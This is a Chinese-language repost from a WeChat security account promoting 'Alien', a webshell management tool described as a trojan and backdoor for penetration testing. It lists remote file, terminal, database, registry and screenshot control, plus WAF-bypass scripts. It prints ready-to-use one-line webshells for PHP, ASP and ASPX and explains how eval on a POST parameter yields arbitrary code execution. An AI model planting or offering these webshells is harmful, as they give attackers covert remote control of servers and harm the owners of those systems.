朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把夜组安全“设为星标”，否则可能就看不到了啦！
功能
-
File Manager (可顯示圖片, 可SearchFile)
-
Virtual Terminal
-
Database
-
Registry
-
Monitor
-
Screenshot
-
System Information
新增:
-FileManager
查目錄權限
-Database
SQL Shell
-繞過WAF (Web防火牆)
繞過WAF的python檔放在Utilitizetamper
一句話木馬是在滲透測試中用來控制伺服器的工具
強大之處在於木馬本身體積小，不易發現
以下是最簡單的一句話木馬
-
PHP <?php @eval($_POST['password']);?>
-
ASP <%execute(request("password"))%>
-
ASPX <%@ Page Language="Jscript"%><%eval(Request.Item["password"])%> 當然, Alien還可以使用asmx, ashx等等的Webshell。
-
NodeJS & JSP https://github.com/malbuffer4pt/Alien/blob/main/shell.txt
目前只有比較原始的菜刀版本, 之後可能會加上蟻劍和冰蝎
shell有進行更改, 新增了可以顯示圖片的功能
關於NodeJS webshell
由於NodeJS特性, 原理跟一般php asp aspx等動態語言的shell不同,
NodeJS目的重在管理而非滲透
伺服器
Windows Linux Unix MacOS
Database管理
MySQL : PHP
Access : https://github.com/malbuffer4pt/DBer
SQL Server : ASP ASPX ASMX ASHX
原理
以PHP為例子, eval()可以把string以PHP Code去執行，
如果eval()中帶有可控變數，那麼就可以執行任意程式碼。
如eval($_POST['a']);
HTTP POST a=phpinfo(); 就可以執行phpinfo();
https://github.com/iss4cf0ng/Alien/releases/tag/alienv4.0.0
原文始发于微信公众号（夜组安全）：Webshell Manager Tool/一句話木馬管理工具/Trojan/Backdoor/Pentest
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论